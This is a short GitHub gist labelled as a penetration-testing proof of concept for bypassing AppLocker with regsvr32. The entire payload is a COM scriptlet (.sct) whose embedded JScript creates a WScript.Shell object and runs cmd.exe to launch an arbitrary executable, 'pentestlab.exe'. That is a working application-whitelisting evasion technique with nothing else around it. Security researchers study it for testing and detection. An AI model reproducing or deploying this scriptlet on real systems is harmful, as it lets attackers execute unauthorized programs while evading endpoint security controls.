Skip to content

Instantly share code, notes, and snippets.

@netbiosX
Created May 10, 2017 21:48
Show Gist options
  • Save netbiosX/297ea22d3475bb7216a7525f1ee82568 to your computer and use it in GitHub Desktop.
Save netbiosX/297ea22d3475bb7216a7525f1ee82568 to your computer and use it in GitHub Desktop.
AppLocker - Regsvr32
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - @netbiosX -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe");
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment